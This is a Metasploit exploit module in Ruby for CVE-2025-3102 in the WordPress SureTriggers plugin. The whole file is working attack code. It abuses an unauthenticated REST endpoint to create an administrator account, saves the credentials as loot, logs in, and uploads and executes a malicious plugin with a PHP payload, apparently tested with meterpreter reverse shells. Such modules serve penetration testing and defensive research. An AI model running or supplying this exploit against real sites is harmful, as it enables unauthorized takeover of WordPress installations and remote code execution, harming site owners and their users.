##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Payload::Php
include Msf::Auxiliary::Report
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress SureTriggers Auth Bypass and RCE',
'Description' => %q{
This module exploits an authorization bypass in the WordPress SureTriggers plugin (<= 1.0.78).
It first creates a new administrator account via the unauthenticated REST endpoint,
then uploads and executes a PHP payload using FileDropper for remote code execution.
},
'Author' => [
'Michael Mazzolini (mikemyers)', # Vulnerability Discovery
'Khaled Alenazi (Nxploited)', # PoC
'Valentin Lobstein' # Metasploit module
],
'References' => [
['CVE', '2025-3102'],
['URL', 'https://github.com/Nxploited/CVE-2025-3102'],
['URL', 'https://www.wordfence.com/blog/2025/04/100000-wordpress-sites-affected-by-administrative-user-creation-vulnerability-in-suretriggers-wordpress-plugin/']
],
'License' => MSF_LICENSE,
'Privileged' => false,
'Platform' => %w[unix linux win php],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix In-Memory',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows In-Memory',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-03-13',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options(
[
OptString.new('WP_USER', [true, 'Username for the new administrator', Faker::Internet.username(specifier: 5..8)]),
OptString.new('WP_PASS', [true, 'Password for the new administrator', Faker::Internet.password(min_length: 12)]),
OptString.new('WP_EMAIL', [true, 'Email for the new administrator', Faker::Internet.email(name: Faker::Internet.username(specifier: 5..8))]),
OptString.new('ST_AUTH', [false, 'Value for st_authorization header', ''])
]
)
end
def check
return CheckCode::Unknown('Target not responding') unless wordpress_and_online?
wp_version = wordpress_version
print_status("Detected WordPress version: #{wp_version}") if wp_version
plugin = 'suretriggers'
readme = check_plugin_version_from_readme(plugin, '1.0.79', '0.0.1')
detected = readme&.details&.dig(:version)
if detected.nil?
return CheckCode::Unknown("Unable to determine the #{plugin} plugin version.")
end
detected_version = Rex::Version.new(detected)
if detected_version <= Rex::Version.new('1.0.78')
return CheckCode::Appears("Detected #{plugin} version #{detected_version}")
end
CheckCode::Safe("#{plugin} #{detected_version} >= 1.0.79 appears patched")
end
def exploit
print_status('Attempting to create administrator user via auth bypass...')
create_uri = normalize_uri(target_uri.path, 'wp-json', 'sure-triggers', 'v1', 'automation', 'action')
headers = { 'st_authorization' => datastore['ST_AUTH'] }
payload = user_payload.to_json
res = send_request_cgi(
'method' => 'POST',
'uri' => create_uri,
'ctype' => 'application/json',
'data' => payload,
'headers' => headers
)
unless res&.code == 200 && res.get_json_document&.dig('success')
print_warning('Primary endpoint failed, trying fallback via rest_route...')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'vars_get' => { 'rest_route' => '/sure-triggers/v1/automation/action' },
'ctype' => 'application/json',
'data' => payload,
'headers' => headers
)
end
unless res&.code == 200 && res.get_json_document&.dig('success')
fail_with(Failure::UnexpectedReply, 'User creation did not return success')
end
print_good("Administrator created: #{datastore['WP_USER']}:#{datastore['WP_PASS']}")
create_credential(
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: datastore['WP_USER'],
private_type: :password,
private_data: datastore['WP_PASS'],
service_name: 'WordPress',
address: datastore['RHOST'],
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED
)
vprint_good("Credential for user '#{datastore['WP_USER']}' stored successfully.")
loot_data = "Username: #{datastore['WP_USER']}, Password: #{datastore['WP_PASS']}\n"
loot_path = store_loot(
'wordpress.admin.created',
'text/plain',
datastore['RHOST'],
loot_data,
'wp_admin_credentials.txt',
'WordPress Created Admin Credentials'
)
vprint_good("Loot saved to: #{loot_path}")
report_host(host: datastore['RHOST'])
report_service(
host: datastore['RHOST'],
port: datastore['RPORT'],
proto: 'tcp',
name: fullname,
info: 'WordPress with vulnerable SureTriggers plugin allowing unauthenticated admin creation'
)
report_vuln(
host: datastore['RHOST'],
port: datastore['RPORT'],
proto: 'tcp',
name: 'SureTriggers WordPress Plugin Auth Bypass',
refs: references,
info: 'Unauthenticated admin creation via vulnerable REST API endpoint'
)
cookie = wordpress_login(datastore['WP_USER'], datastore['WP_PASS'])
upload_and_execute_payload(cookie)
end
def user_payload
{
'integration' => 'WordPress',
'type_event' => 'create_user_if_not_exists',
'selected_options' => {
'user_name' => datastore['WP_USER'],
'password' => datastore['WP_PASS'],
'user_email' => datastore['WP_EMAIL'],
'role' => 'administrator'
},
'fields' => [],
'context' => {}
}
end
def upload_and_execute_payload(auth_cookie)
plugin = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}.php"
zip = generate_plugin(plugin, payload_name.sub('.php', ''))
print_status('Uploading malicious plugin for code execution...')
ok = wordpress_upload_plugin(plugin, zip.pack, auth_cookie)
fail_with(Failure::UnexpectedReply, 'Plugin upload failed') unless ok
payload_uri = normalize_uri(wordpress_url_plugins, plugin, payload_name)
print_status("Executing payload at #{payload_uri}...")
register_files_for_cleanup(payload_name, "#{plugin}.php")
register_dir_for_cleanup("../#{plugin}")
send_request_cgi('uri' => payload_uri, 'method' => 'GET')
end
end